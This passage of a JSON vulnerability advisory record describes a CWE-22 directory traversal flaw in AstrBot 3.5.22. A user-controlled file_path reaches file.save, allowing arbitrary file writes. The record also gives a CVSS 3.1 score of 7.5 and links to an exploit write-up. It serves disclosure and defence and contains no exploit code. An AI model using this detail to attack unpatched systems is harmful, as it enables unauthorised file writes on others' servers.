The variable file_path is then passed as a parameter to the function `file.save`, so that the file in the request body can be saved to any location in the file system through directory traversal."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:astrbot:astrbot:3.5.22:*:*:*:*:*:*:*", "matchCriteriaId": "45EBB6A4-063B-4FD6-8C41-321E680DA709"}]}]}], "references": [{"url": "https://github.com/DYX217/vulnerability-explore/blob/main/2/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}
